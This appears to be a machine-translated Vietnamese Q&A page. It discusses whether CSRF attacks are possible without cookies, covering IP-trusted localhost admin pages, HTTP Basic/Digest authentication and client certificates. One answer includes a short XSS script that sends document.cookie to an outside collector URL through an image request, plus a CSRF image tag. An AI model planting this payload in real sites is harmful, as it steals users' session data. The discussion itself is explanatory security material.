Tôi đã điều tra điều này một thời gian, nhưng tôi đã không tìm thấy bất cứ điều gì để thỏa mãn sự tò mò của tôi. Có thể, như một người sử dụng, là nạn nhân của một cuộc tấn công CSRF nếu cookie bị vô hiệu hóa. Rõ ràng CSRF phụ thuộc vào trình duyệt người dùng để gửi thông tin đăng nhập của người dùng với yêu cầu giả mạo tới máy chủ hợp pháp. Bên cạnh các địa chỉ IP, các trình duyệt không tự động gửi bất kỳ giá trị phiên làm việc nào khác? Trong trường hợp đó, miễn là người dùng có thể đăng nhập bằng cookie bị vô hiệu hóa, họ sẽ được an toàn từ CSRF ngay cả trên các trang web dễ bị tấn công.Có thể sử dụng CSRF khi không có Cookie không?
Trả lời
Vì vậy, bạn phải tự hỏi làm thế nào để máy chủ biết một khách hàng từ người khác? Trong đa số trường hợp, đó là cookie phiên, nhưng cũng có những cách khác.
Xem xét ứng dụng quản trị, được định cấu hình để chỉ hoạt động nếu được truy cập từ máy chủ cục bộ. Ở đây, máy chủ tin tưởng địa chỉ IP của trình duyệt. Bây giờ, nếu kẻ tấn công tạo một trang như <img src="http://localhost/do/something/harmful"/>
và bằng cách nào đó, quản trị viên truy cập trang của anh ấy, bạn có một CSRF.
Ví dụ khác bao gồm lạm dụng xác thực cơ bản và tiêu hóa của Http, như Bruno đã chỉ ra.
chắc - chỉ nghĩ rằng nếu các trang web bị tổn thương không chà HTML và bạn nhập văn bản sau đây thành một "bình luận" lĩnh vực:
<script>
var img = document.createElement("img");
img.src = "http://example.com/collect.php?val=" + escape(document.cookie);
</script>
Về cơ bản bạn đang sử dụng javascript để thu thập các tập tin cookie và viết các giá trị vào thông số URL của thẻ hình ảnh để chúng được chuyển đến máy chủ "xấu" khi trình duyệt tìm cách tải hình ảnh. Tất nhiên - trong ví dụ trên tôi đang sử dụng cookie từ "document.cookie" nhưng theo tinh thần câu hỏi của bạn "nếu cookie bị vô hiệu hóa", thật dễ dàng để trích xuất bất kỳ thông tin nào khác từ DOM (đầu vào bị ẩn) giá trị trường, v.v.) và gửi chúng trong URL đến máy chủ đích của bạn.
Có các hình thức xác thực khác được trình duyệt hỗ trợ, đặc biệt là HTTP Basic và HTTP Digest, cũng như chứng chỉ ứng dụng khách SSL/TLS. Thật không may, giao diện "đăng xuất" khi sử dụng các cơ chế này thường khá kém. Không giống như cookie và biểu mẫu, việc dừng sử dụng thông tin đăng nhập được kiểm soát bởi trình duyệt (không phải bởi máy chủ và cookie của trình duyệt), nhưng các nút ở mức tốt nhất trong một số menu nâng cao nói chung (nếu chúng tồn tại).
Vì vậy, nếu người dùng vô hiệu hóa cookie trong trình duyệt của họ, các lựa chọn thay thế điển hình là Xác thực HTTP hoặc chỉ cần chuyển ID phiên qua các biểu mẫu? – grossmae
- 1. Có thể sử dụng cookie phiên (mã hóa mạnh) làm mã thông báo CSRF không?
- 2. Cổng cookie HTTP có cụ thể không?
- 3. Có thể xóa cookie miền phụ không?
- 4. Ngăn chặn CSRF trong khi sử dụng CORS?
- 5. Node.JS phiên không có cookie
- 6. Có thể một tên miền có nhiều cookie không?
- 7. Các cuộc tấn công CSRF có áp dụng cho API không?
- 8. Phiên Scalatra không có cookie
- 9. Tôi có thể thay đổi tên cookie FormsAuthentication không?
- 10. JAXB: Có thể sử dụng XmlAdapter không có @XmlJavaTypeAdapter không?
- 11. Có thể sử dụng Uri.Builder và không có phần "//" không?
- 12. xác thực trong iOS - bạn có thể sử dụng cookie/phiên không?
- 13. Cookie không có tên miền?
- 14. Phiên PHP không có cookie
- 15. Không thường xuyên 403 "CSRF FAILURECSRF cookie không được đặt" lỗi với django
- 16. Nhận mã thông báo CSRF Codeigniter không có biểu mẫu?
- 17. Có xấu khi sử dụng toList không?
- 18. Có thể đặt nội dung cookie bằng CURL không?
- 19. Cả hai thẻ csrf và captcha có cần thiết không?
- 20. Cookie có chỉ lưu trữ trên máy chủ thay thế cookie không có cookie?
- 21. Tên miền phụ có thể xóa cookie miền không?
- 22. Mã hóa Django CSRF không có biểu mẫu
- 23. Có thể sử dụng Unicode "argv" không?
- 24. CSharpCodeProvider - Có thể sử dụng được không?
- 25. Có thể nhận đường dẫn cookie được lưu trữ không?
- 26. Tôi có thể truy cập cookie từ Socket.io không?
- 27. Phản hồi AJAX có thể đặt cookie không?
- 28. Có phải TestContext.Properties có thể sử dụng được không?
- 29. Đây có phải là cách bảo vệ CSRF của Django hoạt động không?
- 30. PhantomJS có hỗ trợ cookie không?
IMO, miễn là trình duyệt của nạn nhân có phiên hoạt động hoặc mã thông báo truy cập hoạt động (thông qua WebStorage, cookie, RAM hoặc khác), CSRF sẽ đi qua giả sử trang web không sử dụng mã thông báo đồng bộ nhằm ngăn CSRF. – Zack